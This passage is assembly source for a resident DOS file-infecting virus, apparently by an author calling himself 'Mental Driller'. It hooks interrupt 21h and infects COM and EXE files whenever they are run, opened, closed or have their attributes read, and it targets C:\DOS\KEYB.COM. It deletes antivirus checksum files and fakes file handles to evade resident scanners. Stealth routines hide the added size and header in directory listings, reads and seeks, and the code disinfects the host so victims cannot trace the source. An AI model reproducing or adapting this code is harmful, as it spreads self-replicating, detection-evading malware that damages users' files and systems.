@@FinInt21h: JMP DWORD PTR CS:[AntInt21h-200h] ; Jump to real int 21h + +;; The virus will infect this path on the second time a terminate function is +;; called +RutaKEYB DB 'C:\DOS\KEYB.COM', 0 +;; Memory write zone +Basura6 dw 0 + +;; To infect KEYB.COM +@@InfectaKEYB: PUSH CS ; Set DS:DX to CS:RutaKEYB + POP DS + MOV DX, Offset RutaKEYB-200h + JMP @@SigueInfec02 ; Jump to infect it + +;; Infect FCB +@@InfectaFCB: PUSHA ; Save registers + PUSH DS + PUSH ES + CALL ObtenNombreFCB ; Get in DS:DX the name of the file + MOV AH, 4Bh ; Set this value to AH to aprofite the + ; routine + JMP @@Infecta2 ; Jump + +;; Infect handle +@@InfectaHandle: + PUSHA ; Save registers + PUSH DS + PUSH ES + CALL ParcheaInt24h ; Patch int 24, 1Bh and 23h + CMP BX, 0004 ; Check if it is a system handle + JBE @@Fin00 ; If it is, jump and exit + MOV AH, 35h ; Duplicate handle + CALL Int21h + JC @@Fin00 ; If error, exit + MOV BX, AX ; Put handle on BX + JMP @@SigueInfec01 ; Jump + +;; Infect by get/set attributes or terminate program +@@InfectaAtributos: +InfectaKeyb: + @@Infecta: PUSHA ; Save registers + PUSH DS + PUSH ES + @@Infecta2: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h + CMP AH, 43h ; Is get/set attributes function? + JZ @@SigueInfec02 ; If it is, jump + CMP AH, 4Bh ; Is execute program? + JZ @@SigueInfec02 ; If it is, jump + CALL ObtenNombre ; Routine to get the name of the program + ; which is going to be terminated + CMP BYTE PTR CS:[Desinfeccion-200h], 0 ; Is this value 0? + JZ @@SigueInfec02 ; If it is, continue normally + DEC BYTE PTR CS:[Desinfeccion-200h] ; Decrement this value + JNZ @@InfectaKEYB ; If it isn't 0, infect KEYB.COM + JMP @@Siguiente ; If it is 0, disinfect the program. + ; That's because normally the first program + ; which calls to "terminate execution" func- + ; tions is the infected host, so, doing this, + ; the host will be disinfected and the victim + ; doesn't know which file carried the virus to + ; his/her computer :) +@@SigueInfec02: CALL BorraDATs ; Delete ANTI-VIR.DAT and CHKLIST.MS (if + ; they exist) + MOV AX, 2D00h ; Open file to infect + CALL Int21h + JC @@Fin00 ; If error, exit + MOV BX, AX ; Put handle on BX +@@SigueInfec01: CALL FakeHandle ; Fuck resident AVs :) + CALL OperaHandle ; Check handle for many things. Returns + ; the SFT of the handle in DS:DI + JC @@Fin01 ; If there is an error, exit + PUSH DS ; Put DS on ES + POP ES + PUSH CS ; DS <= CS + POP DS + MOV AX, 4700h ; Get date/time of handle + CALL Int21h + MOV [Hora-200h], CX ; Save them + MOV [Fecha-200h], DX + MOV AH, 1Ah ; Get today's date + CALL Int21h + SUB CX, 01980d ; Convert it to packed on CX + ROR CX, 7 + PUSH DX + XOR DH, DH + OR CX, DX + POP DX + XOR DL, DL + ROR DX, 3 + OR CX, DX + SUB CX, [Fecha-200h] ; Subtract file's date + JZ @@Fin01 ; If it's equal or one more, don't infect it + DEC CX + JZ @@Fin01 + CALL CambiaAtributos ; Change file attributes and write + ; permissions by SFT + CALL LeeCabecera ; Read the first 18 bytes of the file + JC @@Fin02 ; If error, exit + PUSH SI ; Copy this 18 bytes to Cabecera2 + PUSH DI + PUSH ES + PUSH CS + POP ES + MOV DI, Offset Cabecera2-200h + MOV CX, 000Ch + REP MOVSW + POP ES + POP DI + POP SI + CALL CompruebaNombre ; Check if the name of the file is ne- + ; arly the infected before + JC @@Fin02 ; If it is, don't infect it (anti-goat + ; system) + MOV AX, [SI] ;Get two first bytes of the file in AX + CMP AX, 4CB4h ; Are a "MOV AH,4C" instruction? + JZ @@Fin02 ; If they are, don't infect the file + CMP AL, 0B8h ; Check if it is a "MOV AX,..." + JNZ @@Siguuuu ; If it isn't, jump and continue + CMP BYTE PTR [SI+02], 4Ch ; Check if it is a "MOV AX,4C??" + JZ @@Fin02 ; If it is, exit + @@Siguuuu: CMP AL, 0E9h ;Check if first instruction is a "JMP" + JNZ @@Continua002 ; If not, continue + MOV CL, BYTE PTR CS:[Hora-200h] ; Get seconds in CL + AND CL, 1Fh + CMP CL, 1Eh ; Are they "60"? + JZ @@Fin02 ; If they are, exit (already infected) + @@Continua002: ADD AX, 0B2A6h ; First two bytes = "MZ"? + JZ @@InfectaEXE ; If they are, infect EXE + CMP AX, 0CF3h ; Are they "ZM"? + JZ @@InfectaEXE ; Infect EXE, then +@@InfectaCOM: MOV BYTE PTR [TipoEjec-200h], 0 ; Executable type=COM + MOV AX, [SI] ; Store first three bytes in Los3bytes + MOV WORD PTR [Los3bytes-200h], AX + MOV AL, BYTE PTR [SI+2] + MOV BYTE PTR [Los3bytes-200h+2], AL + CALL PtrFinal ;Handle pointer to the end of the file + OR DX, DX ; Size > 65536? + JNZ @@Fin02 ; Then, exit + CMP AX, 1000h ; Size < 4096? + JB @@Fin02 ; Then, exit + CMP AX, 0E000h ; Size > 57344? + JA @@Fin02 ; Then, exit + CALL MiraSiRoundedSize ; Check if file size is divisible by + ; 512 or 500 (rounded size :) ) + JZ @@Fin02 ; If it is, exit + ADD AX, 0100h ; Add PSP size + MOV WORD PTR [InicioVirus-200h+1+16h], AX ; Set delta- + ; offset + SUB AX, 0103h ; Subtract PSP size and 3 bytes to get + ; JMP displacement + PUSH AX ; Save it onto stack + CALL HazVirus ; Make a virus :) + POP AX ; Recover AX + OR CX, CX ; If error size, CX=0 + JZ @@Fin02 ; If CX=0, then exit + ADD AX, DX ; Add displacement to decryptor + MOV WORD PTR [SaltoCOM-200h+1], AX ; Form a JMP + MOV DX, Offset NewVirus-200h ; DS:DX=address of stored + PUSH CS ; virus + POP DS + MOV AH, 30h ; Copy it to file + CALL Int21h + JC @@Fin02 ; If write error, exit + CALL PtrInicio ; Go to the beginning of file + MOV DX, Offset SaltoCOM-200h ; Write JMP + MOV CX, 0003 + MOV AH, 30h + CALL Int21h + JC @@Fin02 ; If error, don't set seconds + @@Fin03: AND BYTE PTR [Hora-200h], 0E0h ; Set seconds to 60 + OR BYTE PTR [Hora-200h], 1Eh + @@Fin02: MOV AX, 4701h ; Put original date/time + MOV CX, CS:[Hora-200h] + MOV DX, CS:[Fecha-200h] + CALL Int21h + CALL RestauraAtributos ; Restore attributes + @@Fin01: CALL UnfakeHandle ; Restore original handle + @@Fin00: CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h + POP ES ; Recover registers + POP DS + POPA + CMP AH, 4Ch + JNZ @@Qwerty + CMP BYTE PTR CS:[Desinfeccion-200h], 1 + JNZ @@EndTotal + RET + @@Qwerty: CMP AH, 3Eh ; Is it the "close handle" function? + JZ @@SEUUF ; If it is, jump to SEUUF + CMP AH, 10h ; Is it the "close FCB" function? + JZ @@SEUUF ; If it is, jump to SEUUF + CMP AH, 43h ;Is it the "get/set attributes" func.? + JZ @@FinInt21h ; If it is, jump to exit + CMP AH, 4Bh ; Is it the "execute" function? + JZ @@FinReInfeccion ; Then, jump + @@EndTotal: MOV BYTE PTR CS:[NoStealth-200h], 0 ;Set "NoStealth" value + ; to 0 + JMP @@FinInt21h ; Jump and exit + +; The next code is made to avoid int 24h errors when you try to write a pro- +; tected disk. I don't know why, but when you write to a handle, you close the +; duplicated handle and unpatch the int 24h, when you close the handle comple- +; tely, int 24h is called. So I had to investigate and I achieved to avoid +; this problem performing this code (from "@@SEUUF" to "@@FinReinfeccion"). +; It doesn't matter if int 24h is patched when you close the handle. If you +; try to do anything in a protected disk, only the virus activities will be +; stealthed, but no the system activities (like it would seem to everybody +; watching this) but don't ask me why it happens exactly :) +; Maybe because MS-DOS is made by Shit-o-soft :) + @@SEUUF: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h again + SUB AH, 10h ; Close handle + CALL Int21h + PUSHF + CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h + POPF + RETF 0002 ; Interrupt return +@@FinReinfeccion: + POP AX ; Recover original AX and flags + POPF + RETF 0002 ; Interrupt return + +;; Memory write zone +Basura7 dw 0 + +;; Let's infect EXE files. EXE header is in DS:SI. +@@InfectaEXE: MOV BYTE PTR [TipoEjec-200h], 1 ; Executable type=EXE + MOV EAX, DWORD PTR [SI+14h] ; Save CS:IP and SS:SP + MOV DWORD PTR [InicIP-200h], EAX ; addresses on header + MOV EAX, DWORD PTR [SI+0Eh] + MOV DWORD PTR [InicSS-200h], EAX + MOV AX, [SI+12h] ; Get value on +12h + XOR AX, [SI+0Eh] ; XOR it with SS + CMP AX, 'MD' ;Check if it is "MD", Mental Driller :) + JZ @@Fin03 ; If it is (already infected), exit + CALL PtrFinal ; Go to the end of the file + MOV CX, 200h ; Divide file size by 512 + DIV CX + OR DX, DX ; Check remainder + JZ @@Salto001 ; If 0, jump + INC AX ; Round AX +@@Salto001: CMP AX, [SI+04] ; Check file size in header. If it is + JNZ @@Fin02 ; different, exit + CMP DX, [SI+02] + JNZ @@Fin02 + CALL PtrFinal ; Get file size again + CMP DX, 06h ; Check if file size is over 65536*5 + JAE @@Fin02 ; If it is, exit + OR DX, DX ; Size < 65536? + JNZ @@Salto002 ; If it isn't, size is OK + CMP AX, 1000h ; If size < 4096, exit + JB @@Fin02 +@@Salto002: CALL MiraSiRoundedSize ; Check if rounded size (multiple of + ; 512 or 500) + JZ @@Fin02 ; If it is, exit + PUSH AX ; Save size onto stack + PUSH DX + MOV CX, AX ; Put the low word of size in CX + CALL TamanyoReal ; Get the size the virus would have in + ; this file in AX + ADD AX, CX ; Add it to the size of the file + ADC DX, +00 + MOV CX, 200h ; Divide it by 512 + DIV CX + OR DX, DX + JZ @@Salto003 + INC AX ; Round AX +@@Salto003: MOV [SI+04], AX ; Put values on header + MOV [SI+02], DX + POP DX ; Recover file size + POP AX + MOV CX, 0010h ; Divide it by 16 + DIV CX + SUB AX, [SI+08h] ; Subtract header size in paragraphs + JBE @@Fin02 ; If error, exit + MOV [SI+16h], AX ; Put result like new initial segment + PUSH AX ; Save AX onto stack + MOV WORD PTR [Offset InicioVirus-200h+1+16h], DX ;Put + ;initial delta-offset + PUSH DX ; Save DX onto stack + CALL HazVirus ; Make a virus! + POP AX ; Recover DX in AX + OR CX, CX ; Error? + JNZ @@SaltoJAJA ; If not, continue + ; Cool labels! :) + POP AX ; Nivelate stack + JMP @@Fin02 ; Exit + @@SaltoJAJA: ADD AX, DX ; Add displacement to decryptor to AX + MOV [SI+14h], AX ; Put it on the header + POP AX ; Recover initial segment from stack + ADD AX, (LongVirus2 / 16)+6 ;Add virus size in paragraphs + XOR DX, DX ; DX=0 + MOV [SI+0Eh], AX ; Put new SS:SP address + MOV [SI+10h], DX + MOV DX, Offset NewVirus-200h ; Write the constructed virus + MOV AH, 30h ; to file + CALL Int21h + JC @@Fin02 ; If error, exit + CALL PtrInicio ; Go to the beginning of the file + MOV AX, 'MD' ; Put infection mark + XOR AX, [SI+0Eh] + MOV [SI+12h], AX + MOV AH, 30h ; Overwrite old header + MOV CX, 0018h + MOV DX, SI + CALL Int21h + JC @@Fin02 ; If error, don't set seconds to 60 + JMP @@Fin03 ; If there isn't error, set them to 60 + +;; Memory write zone +Basura8 dw 0 + +;;; DTA ADDRESS SETTING + +@@NuevoDTA: MOV WORD PTR CS:[DirecDTA-200h], DX ; Save new direction + MOV WORD PTR CS:[DirecDTA-200h+2], DS ; in our variables + JMP @@FinInt21h + +;;; DIRECTORY STEALTH + +@@StealthDIR: MOV BYTE PTR CS:[Estado-200h], AH ; Save function + CLC ; Clear Carry-Flag + SUB AH, 10h ; Call int 21h function + CALL Int21h + PUSHF ; Save ALL + PUSHA + PUSH DS + PUSH ES + JC @@FinStealthDIR ; If error, exit + LDS BX, DWORD PTR CS:[DirecDTA-200h] ; Get DTA address + CMP BYTE PTR CS:[Estado-200h], 12h ; Via FCBs? + JBE @@Stealth1001 ; Then, jump here +@@Stealth2001: MOV SI, 0FFFFh ; SI=-1 + MOV DI, 0FFFDh ; DI=-3 + JMP @@StealthX001 ; Jump and continue +@@Stealth1001: INC AL ; AL=FF? + JZ @@FinStealthDIR ; Error, then exit + XOR SI, SI ; SI=DI=0 + XOR DI, DI + CMP BYTE PTR [BX], 0FFh ; Extended FCB? + JNZ @@StealthX001 ; If not, continue + ADD BX, +07 ; Add 7 to BX +@@StealthX001: ADD BX, 0017h ; Get time address on DTA fields + MOV AL, BYTE PTR [BX+SI] ; Get in AL the seconds + AND AL, 1Fh ; Are them set to 60? + CMP AL, 1Eh + JNZ @@FinStealthDIR ; If they aren't, exit + CMP WORD PTR [BX+DI+08], +00 ; Check if size is very small + JNZ @@StealthX002 + CMP WORD PTR [BX+DI+06], (LongVirus2 + 1000h) + JB @@FinStealthDIR ; If very small, exit +@@StealthX002: MOV AX, WORD PTR [BX+SI] ;Get real size of the virus in + AND AX, 1FE0h ; AX + ROR AX, 5 + ADD AX, LongVirus2 + SUB WORD PTR [BX+DI+06], AX ; Subtract it from file size + SBB WORD PTR [BX+DI+08], +00 ; fields + MOV AL, BYTE PTR [BX+SI+01] ; Set a more credible seconds + AND AL, 1Eh ; value + AND BYTE PTR [BX+SI], 0E0h + ADD [BX+SI], AL ; This instruction has the op- + ; code 0000 :) + @@FinStealthDIR: + POP ES ; Recover all registers + POP DS + POPA + POPF + RETF 0002 ; Interrupt return + +;; Memory write zone +Basura9 dw 0 + +;;;;; PROGRAM DISINFECTION VIA FCB + +@@DesinfectaFCB: + PUSHA ; Save registers + PUSH DS + PUSH ES + CALL ObtenNombreFCB ; Get name of file on the FCB + XOR AX, AX ; AX=0 + JMP @@Desinfecta02 ; Jump here + +;;; DESINFECSION DE POGRAMAS QE SE HAVREN +;;; (pogranm disinfecshion wehn iou open dem) + +@@DesinfectaHandle: + PUSHA ; Save registers + PUSH DS + PUSH ES +@@Desinfecta02: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h + CMP AH, 6Ch ; Check if function 6Ch is used + JNZ @@Siguiente ; If it isn't used, jump + MOV DX, SI ; Put SI on DX + @@Siguiente: MOV BP, AX ; Save AX on BP + CALL BorraDATs ; Delete ANTI-VIR.DAT and CHKLIST.MS (if + ; they exist) + MOV AX, 2D00h ; Open file + CALL Int21h + JC @@FinX00 ; If error, exit + MOV BX, AX ; Put handle on BX + CALL FakeHandle ; Fuck resident AVs :) + CALL GetSFT ; Get the SFT on ES:DI + JC @@FinX01 ; If error, exit + @@KKVH: MOV AX, BP ; Put BP on AX + XOR AH, 50h ; AH=4B? + CMP AH, 1Bh + JNZ @@KKVI ; If it isn't, jump + CALL MirarsiStealth ; Desactivate stealth if it's a special + ; program + @@KKVI: CALL CambiaAtributos ; Change attributes and access mode + MOV AX, 4700h ; Get date/time from file + CALL Int21h + PUSH CS + POP DS + MOV [Hora-200h], CX ; Save it + MOV [Fecha-200h], DX + CALL LeeCabecera ; Read file header (first 18 bytes) + MOV AX, [SI] ; Check if EXE + ADD AX, 0B2A6h + JZ @@DesinfEXE ; Jump here if it's an EXE + CMP AX, 0CF3h + JZ @@DesinfEXE ; Jump here if it's an EXE + @@DesinfCOM: CMP BYTE PTR [SI], 0E9h ; If first byte isn't a JMP opco- + JNZ @@FinX02 ; de, exit (file is not infected) +@@MiraSegundos: MOV AL, BYTE PTR [Hora-200h] ; Get seconds + AND AL, 1Fh + CMP AL, 1Eh ; Are they "60"? + JNZ @@FinX02 ; If not, exit + JMP @@SigueDesinf ; Jump + @@DesinfEXE: MOV AX, [SI+12h] ; Check if it has the infection mark + XOR AX, [SI+0Eh] ; for EXEs + CMP AX, 'MD' + JNZ @@FinX02 ; If not, exit + JMP @@MiraSegundos +@@SigueDesinf: MOV AX, ES:[DI+11h] ; Get file size + MOV DX, ES:[DI+13h] + OR DX, DX ; Check if the file is too small + JNZ @@SigueDesinf2 + CMP AX, 1000h + LongVirus2 + JB @@FinX02 ; If it's too small, exit +@@SigueDesinf2: CALL PtrCasiFinal ; Pointer to (end_of_file - 1Ah) + MOV CX, 001Ah ; Read 1Ah bytes + MOV DX, Offset NewVirus-200h + MOV SI, DX + MOV AH, 2Fh + CALL Int21h + JC @@FinX02 ; If error, exit + MOV AH, [SI+18h] ; Get key for decryption + PUSH DI ; Save registers + PUSH SI + PUSH ES + PUSH CS + POP ES + MOV DI, SI ; DI=SI + MOV CX, 0018h ; Decrypt all bytes read. They are the + CLD ; original header of the file +@@LoopDesinf1: LODSB + XOR AL, AH + STOSB + LOOP @@LoopDesinf1 + POP ES ; Restore registers + POP SI + POP DI + CALL PtrInicio ; File pointer to the beginning + MOV CX, 0018h + MOV DX, SI + MOV AH, 30h ; Write original header + CALL Int21h + JC @@FinX02 ; If error, exit + MOV DX, (10000h - LongVirus2) ; Put file pointer on the + MOV AX, WORD PTR [Hora-200h] ; end minus virus size + AND AX, 1FE0h + ROR AX, 5 + SUB DX, AX + MOV CX, 0FFFFh + MOV AX, 3202h + CALL Int21h + XOR CX, CX ; Truncate file size + MOV AH, 30h + CALL Int21h + JC @@FinX02 ; If error, exit + @@FinX03: MOV AL, [SI+19h] ; Get original seconds + MOV BYTE PTR [Hora-200h], AL ; Put them on time field + @@FinX02: MOV CX, CS:[Hora-200h] ; Restore date/time + MOV DX, CS:[Fecha-200h] + MOV AX, 4701h + CALL Int21h + CALL RestauraAtributos ; Restore original attributes + @@FinX01: CALL UnfakeHandle ; Restore original handle + @@FinX00: CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h + POP ES ; Recover all registers + POP DS + POPA + CMP AH, 4Bh ; Check if "execute" function + JNZ @@FinInt21h ; If it isn't, jump + MOV WORD PTR CS:[Basura10-200h], DX ; Save pointer to file + MOV WORD PTR CS:[Basura10-200h+2], DS ; name + SUB AH, 10h ; Execute file (or whatever with func- + CALL Int21h ; tion 4Bh) + PUSHF ; Save flags and AX + PUSH AX + MOV AH, 4Bh ; Put 4B on AH + PUSHA ; Save all registers + PUSH DS + PUSH ES + LDS DX, DWORD PTR CS:[Basura10-200h] ; Get saved pointer + ; to file name and + ; reinfect file + JMP @@Infecta2 + +;; To save pointer to file name, but it is a memory write zone, too +Basura10 dw 2 DUP (0) + +;;;;; WHEN YOU WANT TO GET AN INTERRUPT VECTOR + +@@ObtenerVector: + CMP AL, 21h ; Int 21h vector? + JNZ @@FinalOV01 ; If it isn't, exit + PUSHA ; Save registers + PUSH ES + XOR AX, AX ; ES=0 + MOV ES, AX + MOV AX, CS ; AX=CS + MOV BX, 0050h + CMP AX, ES:[BX+36h] ; Check if segment on TVI is the same + ; than the virus' segment + JNZ @@FinalOV02 ; If not, exit + POP ES ; Recover registers + POPA + LES BX, DWORD PTR CS:[AntInt21h-200h] ; Return original + ; int 21h + IRET ; Return + @@FinalOV02: POP ES ; Recover registers and jump to inte- + POPA ; rrupt + @@FinalOV01: JMP @@FinInt21h + +;;;;; WHEN YOU WANT TO SET AN INTERRUPT VECTOR + +@@FijarVector: CMP AL, 21h ; Int 21h? + JNZ @@FinalOV01 ; If not, exit + PUSHA ; Save registers + PUSH ES + XOR AX, AX ; ES=0 + MOV ES, AX + MOV BX, 0050h + MOV AX, CS ; Compare if segment in TVI is the same + CMP AX, ES:[BX+36h] ; than the virus' segment + JNZ @@FinalOV02 ; If not, exit + CLI ; Put on AntInt21h the new interrupt + MOV CS:[AntInt21h-200h], DX ; vector + MOV CS:[AntInt21h-200h+2], DS + STI + POP ES ; Recover registers and return + POPA + IRET + +Basura11 dw 0 + +;;;;;;;;; STEALTH FOR FUNCTION 57h + +@@HoraFechaHandle: + CMP BX, 0004 ; System handle? + JBE @@FinInt21h ; Then exit + PUSHA ; Save registers + PUSH DS + PUSH ES + CALL GetSFT ; Get SFT of the handle + JC @@FinY00 ; If error, exit + MOV AH, BYTE PTR ES:[DI+0Dh] ; Get seconds + AND AH, 1Fh ; If they aren't "60", then finish + CMP AH, 1Eh + JNZ @@FinY00 + CMP AL, 01 ; Check if "set" function + JZ @@HoraFechaHandle2 ; If it is, jump + JA @@FinY00 ; Exit if AL>1 +;; Here to get real seconds in file +@@HoraFechaHandle1: + PUSH WORD PTR ES:[DI+15h] ; Save handle file pointer + PUSH WORD PTR ES:[DI+17h] + CALL CambiaAtributos ; Change attributes and access mode + MOV AX, ES:[DI+11h] ; Get file size in AX-DX + MOV DX, ES:[DI+13h] + SUB AX, +01 ; Subtract 1 from size + SBB DX, +00 + MOV ES:[DI+15h], AX ; Put this value like new file pointer + MOV ES:[DI+17h], DX + MOV CX, 0001 ; Read one byte + MOV DX, Offset NewVirus-200h + MOV AH, 2Fh + CALL Int21h + JC @@FinY01 ; If error, exit + MOV CX, ES:[DI+0Dh] ; Get date/time from SFT + MOV DX, ES:[DI+0Fh] + MOV CL, BYTE PTR [NewVirus-200h] ; Get seconds + MOV WORD PTR [Hora-200h], CX ; Save date/time + MOV WORD PTR [Fecha-200h], DX + CALL RestauraAtributos ; Restore attributes + POP WORD PTR ES:[DI+17h] ; Restore file pointer + POP WORD PTR ES:[DI+15h] + POP ES ; Restore registers + POP DS + POPA + MOV CX, WORD PTR [Hora-200h] ; Put date and time on DX and + MOV DX, WORD PTR [Fecha-200h] ; CX respectively + IRET ; Interrupt return +;; Here to set seconds to file +@@HoraFechaHandle2: + MOV BYTE PTR [NewVirus-200h], CL ;Put here the new seconds + AND CL, 0E0h ; Eliminate seconds + OR CL, 1Eh ; Set seconds to 60 + MOV ES:[DI+0Dh], CX ; Put them directly in the SFT + MOV ES:[DI+0Fh], DX ; fields + PUSH WORD PTR ES:[DI+15h] ; Save file pointer + PUSH WORD PTR ES:[DI+17h] + CALL CambiaAtributos ; Change attributes and access mode + MOV AX, ES:[DI+11h] ; Get file size + MOV DX, ES:[DI+13h] + SUB AX, +01 ; Subtract 1 from file size + SBB DX, +00 + MOV ES:[DI+15h], AX ; Put this new file pointer + MOV ES:[DI+17h], DX + MOV AH, 30h ; Write the new seconds to the end + MOV DX, Offset NewVirus-200h ; of the infected file + MOV CX, 0001 + CALL Int21h + CALL RestauraAtributos ;Restore attributes and access mode + POP WORD PTR ES:[DI+17h] ; Restore file pointer + POP WORD PTR ES:[DI+15h] + POP ES ; Recover registers + POP DS + POPA + IRET ; Interrupt return + @@FinY01: CALL RestauraAtributos ; Restore attributes + POP WORD PTR ES:[DI+17h] ; Restore file pointer + POP WORD PTR ES:[DI+15h] + @@FinY00: POP ES ; Restore registers + POP DS + POPA + JMP @@FinInt21h ; Jump to original int 21h + +;; Memory write zone +Basura12 dw 0 + +;;;;; WRITE STEALTH +;;; Normally, if you open a handle of a file that can be written, teorically +;; it would be disinfected too, but the computer world is very strange :) , +;; so we will do it, just in case. + +;; DISABLED UNTIL I FIND THE F*%&#! BUG + +;@@EscribeHandle: ; All put off, it won't be assembled +; CMP BX, 0004 +; JBE @@FinInt21h +; PUSHA +; PUSH DS +; PUSH ES +; CALL FakeHandle +; CALL GetSFT +; JC @@FinalEscrHandle +; MOV AL, ES:[DI+02] +; AND AL, 03h +; CMP AL, 01 +; JB @@FinW00 +; PUSH WORD PTR ES:[DI+15h] +; PUSH WORD PTR ES:[DI+17h] +; CALL ParcheaInt24h +; MOV BP, 4000h +; JMP @@KKVH +;@@FinalEscrHandle: +; CALL ParcheaInt24h +; @@FinW00: CALL UnfakeHandle +; POP ES +; POP DS +; POPA +; JMP @@FinInt21h + +;;;;; READ STEALTH + +@@LeeHandle: CMP BX, 0004 ; System handle? + JBE @@FinInt21h ; Then exit + PUSHA ; Save registers + PUSH DS + PUSH ES + CALL GetSFT ; Get SFT of this handle in ES:DI + JC @@Salida ; If error, exit + MOV AL, ES:[DI+0Dh] ; Get seconds on AL + AND AL, 1Fh + CMP AL, 1Eh ; Seconds=60? + JNZ @@Salida ; If not, exit + CALL TamanyoReal ; Get size of the virus in the file + SUB WORD PTR ES:[DI+11h], AX ; Subtract virus size to file + SBB WORD PTR ES:[DI+13h], +00 ; size + LDS DX, DWORD PTR ES:[DI+15h] ; Save current pointer + MOV CS:[Puntero3-200h], DX + MOV CS:[Puntero3-200h+2], DS + POP ES ; Recover registers + POP DS + POPA + SUB AH, 10h ; Execute read function + CALL Int21h + PUSHF ; Save registers and flags + PUSHA + PUSH DS + PUSH ES + CALL GetSFT ; Get SFT on ES:DI + JC @@Salida2 ; If error, exit + CALL TamanyoReal ; Get in AX the virus size + ; for this file + ADD WORD PTR ES:[DI+11h], AX ;Add virus size to file size + ADC WORD PTR ES:[DI+13h], +00 + PUSH DS ; Save DS + LDS SI, DWORD PTR CS:[Puntero3-200h] ; Get saved pointer + MOV AX, DS ; AX=DS + POP DS ; Restore DS + OR AX, AX ; If read function didn't read any- + JNZ @@Salida2 ; thing from the file header, exit + CMP SI, +18h + JAE @@Salida2 + MOV WORD PTR CS:[SaltoCOM+1-200h], SI ; Save low word of + ; file pointer + MOV SI, DX ; Put read-buffer offset in SI + MOV BP, DS ; Put read-buffer segment in BP + LDS DX, ES:[DI+15h] ; Load file pointer in DS-DX + MOV CS:[Puntero3-200h], DX ; Save current file pointer + MOV CS:[Puntero3-200h+2], DS + CALL CambiaAtributos ; Change attributes and access mode + CALL PtrCasiFinal ; Put file pointer to (end - 1Ah) + PUSH CS ; Read stored original header + POP DS + MOV DX, Offset NewVirus-200h + MOV CX, 001Ah + MOV AH, 2Fh + CALL Int21h + JC @@Salida3 ; If error, exit + MOV DS, BP ; Put the read-buffer segment in DS + MOV BP, DX ; Put in BP the direction where the + ; original header has been read + ADD BP, WORD PTR CS:[SaltoCOM-200h+1] ; Add to BP the low + ; word of the file pointer + MOV CX, 0018h ;Put in CX the value (18h-low_word...) + SUB CX, WORD PTR CS:[SaltoCOM-200h+1] + MOV AH, BYTE PTR CS:[NewVirus-200h+18h] ; Get encrypt key + @@LoopE02: MOV AL, CS:[BP] ;Copy original header to the read buffer + XOR AL, AH + MOV [SI], AL + INC BP + INC SI + LOOP @@LoopE02 +@@Salida3: CALL RestauraAtributos ; Restore file attributes + LDS DX, DWORD PTR CS:[Puntero3-200h] ;Restore file pointer + MOV ES:[DI+15h], DX + MOV ES:[DI+17h], DS + JMP @@Salida2 ; Jump and exit + +;; Memory write zone +Basura13 dw 0 + +;;;;; POINTER SEEK STEALTH + +@@Salida: POP ES ;Restore registers and jump to original int 21h + POP DS + POPA + JMP @@FinInt21h +@@StealthPuntero: + CMP BX, 0004 ; System handle? + JBE @@FinInt21h ; If it is, exit + PUSHA ; Save registers + PUSH DS + PUSH ES + CALL GetSFT ; Get SFT of the handle in ES:DI + JC @@Salida ; If error, exit + MOV AL, ES:[DI+0Dh] ; Get seconds in AL + AND AL, 1Fh + CMP AL, 1Eh ; Seconds=60? + JNZ @@Salida ; If the file is not infected, exit + CALL TamanyoReal ; Get size of the virus in this file + SUB WORD PTR ES:[DI+11h], AX ; Subtract this value to the + SBB WORD PTR ES:[DI+13h], +00 ; file size + POP ES ; Perform the int 21h function + POP DS + POPA + SUB AH, 10h + CALL Int21h + PUSHF + PUSHA + PUSH DS + PUSH ES + CALL GetSFT ; Get SFT, blah, blah... + JC @@Salida2 + CALL TamanyoReal ; Get virus size... + ADD WORD PTR ES:[DI+11h], AX ; Recover original file size + ADC WORD PTR ES:[DI+13h], +00 +@@Salida2: POP ES ; Recover registers + POP DS + POPA + POPF + RETF 0002 ; Interrupt return + +;;;;; STEALTH FOR FUNCTION 23h + +@@TamanyoArchivoFCB: + SUB AH, 10h ; Perform function + CALL Int21h + PUSHA ; Save registers + PUSH DS + PUSH ES + INC AL ; Error? (AL=FF) + JZ @@HayError03 ; If error, exit + MOV DS, WORD PTR CS:[DirecDTA-200h+2] ; Get DTA address + MOV BX, WORD PTR CS:[DirecDTA-200h] + CMP BYTE PTR [BX], 0FFh ;If extended MCB, add 7 to address + JNZ @@SaltoDIR7 ; to handle both normal and exten- + ADD BX, 0007h ; ded ones + @@SaltoDIR7: ADD BX, 0017h ; Check if seconds=60 + MOV AL, [BX] + AND AL, 1Fh + CMP AL, 1Eh + JNZ @@HayError03 ; If not, exit + CMP WORD PTR [BX+08h], +00 ; Check if file size is too + JNZ @@SaltoDIR8 ; small + CMP WORD PTR [BX+06h], LongVirus+1000h + JB @@HayError03 ; If it is, exit + @@SaltoDIR8: MOV AX, [BX] ; Get virus size for this file + AND AX, 1FE0h + ROR AX, 5 + ADD AX, LongVirus2 + XOR DX, DX ; DX=0 + MOV CX, [BX+0Eh] ; Get size of size fields + DIV CX ; Divide file size by size fields + OR DX, DX ; Round AX + JZ @@SaltoDIR9 + INC AX + @@SaltoDIR9: SUB WORD PTR [BX+21h], AX ; Subtract virus size from file + JNC @@HayError03 ; size + DEC WORD PTR [BX+23h] +@@HayError03: POP ES ; Recover registers + POP DS + POPA + IRET ; Interrupt return + +;;;; IOCTL FUNCTIONS STEALTH +;; It consists on check if they are manipulating a faked handle. In that case, +;; we return the information of the real handle and we put the WRITABLE bit +;; on, so the sacnning program thinks that the operations to the handle are +;; legal :) +@@FuncionesIOCTL: + CMP BYTE PTR CS:[ControlFunc44h-200h], 1 + JNZ @@AcabaIOCTL + CMP BX, CS:[FakedHandle-200h] + JNZ @@AcabaIOCTL + PUSHA + PUSH ES + MOV CX, 9 + MOV DI, Offset FuncionesIOCTL - 200h + PUSH CS + POP ES + CLD + REPNZ SCASB + POP ES + POPA + JNZ @@AcabaIOCTL + @@Funcion: PUSH BX + PUSH BP + MOVZX BP, AL + MOV BX, CS:[AntHandle-200h] + SUB AH, 10h + CALL Int21h + JC @@FuncionX + OR BP, BP + JNZ @@FuncionX + AND DX, 1111111110111111b + OR DX, 0000100000000000b + @@FuncionX: POP BP + POP BX + RETF 0002 +@@AcabaIOCTL: JMP @@FinInt21h +FuncionesIOCTL DB 0,1,2,3,6,7,0Ah,0Ch,10h +NewInt21h ENDP ;; END OF NEW INTERRUPT 21h + +;; Memory write zone +Basura14 dw 0 + +;; 